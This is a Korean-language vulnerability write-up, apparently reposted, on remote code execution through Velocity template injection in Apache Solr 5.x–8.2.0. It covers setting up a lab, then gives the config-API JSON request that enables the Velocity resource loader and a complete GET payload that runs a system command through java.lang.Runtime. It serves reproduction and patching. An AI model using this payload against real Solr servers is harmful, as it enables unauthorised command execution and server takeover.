>  기사  >  운영 및 유지보수  >  Apache Solr 속도 템플릿 주입 RCE 취약점 분석 예

Apache Solr 속도 템플릿 주입 RCE 취약점 분석 예

WBOY
WBOY앞으로
2023-05-19 10:37:13922검색

0x01 소개

Solr는 웹 서비스 API 인터페이스를 통해 외부 서비스를 제공할 수 있는 기업용 독립 검색 응용 서버입니다. 사용자는 http 요청을 통해 특정 형식의 XML 파일을 검색 엔진 서버에 제출하여 인덱스를 생성할 수 있으며, Http Get 작업을 통해 검색 요청을 하고 XML 형식으로 반환된 결과를 얻을 수도 있습니다. Apache Solr velocity模板注入RCE漏洞的示例分析

0x02 취약점 소개

공격자는 VelocityResponseWriter 구성 요소가 지정된 템플릿의 로드를 허용하도록 관련 구성을 수정하는 특정 요청을 구성할 수 있습니다. 공격자는 Velocity 템플릿 주입 원격 명령 실행 취약점을 악용하여 서버 권한을 직접 얻을 수 있습니다.

0x03 영향 범위

Apache Solr 5.x - 8.2.0, 구성 API 버전이 있습니다

0x04 환경 설정

java8 환경을 설치한 후 Solr을 다운로드하고, 주소:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

다운로드 후 압축을 풀고 bin 디렉토리에 들어가 실행합니다. /solr start

unzip solr- 8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

bin 아래의 solr.in.sh 파일을 수정하고 SOLR_ULIMIT_CHECKS를 false로 설정하면 일부 경고 메시지가 표시됩니다

vim solr .in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

그런 다음 다시 시작하세요./solr start 루트 시작이 실패하면 끝에 -force를 추가하세요.Apache Solr velocity模板注入RCE漏洞的示例分析

브라우저에서 http://ip:8983을 방문하면 다음 인터페이스가 성공했음을 나타내는 것으로 나타납니다. 설치Apache Solr velocity模板注入RCE漏洞的示例分析

하지만 Core를 생성할 수 없다는 것을 발견했습니다Apache Solr velocity模板注入RCE漏洞的示例分析

먼저 /server/solr/ 디렉터리에 new_core 폴더를 수동으로 만든 다음 /server/solr/configsets/_default/ 아래의 conf 디렉터리를 new_core 디렉터리에 복사합니다. 그런 다음 만들기를 클릭하세요Apache Solr velocity模板注入RCE漏洞的示例分析

0x05 취약점 재발

Core를 생성한 후 방문하여 애플리케이션 구성 파일에 액세스할 수 있는지 확인하세요

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr는 기본적으로 VelocityResponseWriter 플러그인을 통합합니다. 플러그인 초기화 매개변수의 params.resource.loader.enabled 기본값은 false로 설정되어 있지만, 통합 설정은 POST 요청을 통해 직접 수정할 수 있으며 true로 설정됩니다. , 그런 다음 원격 코드 실행을 달성하기 위해 특별한 GET 요청을 구성할 수 있습니다.

Burp를 사용하여 이 페이지의 패키지를 가져오고, POST 요청을 직접 구성하고, 다음 데이터를 추가하세요

{

"update-queryresponsewriter": {

"startup": "lazy",

"name" : "velocity" ,

"class": "solr.VelocityResponseWriter",

"template.base.dir": "",

"solr.resource.loader.enabled": "true",

"params .resource.loader .enabled": "true"

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

다음으로 RCE

payload:

http://ip:8983/solr/test/select를 구현하기 위한 페이로드를 구성할 수 있습니다. ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC 주소: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06 수정방법

최신버전으로 업데이트

위 내용은 Apache Solr 속도 템플릿 주입 RCE 취약점 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제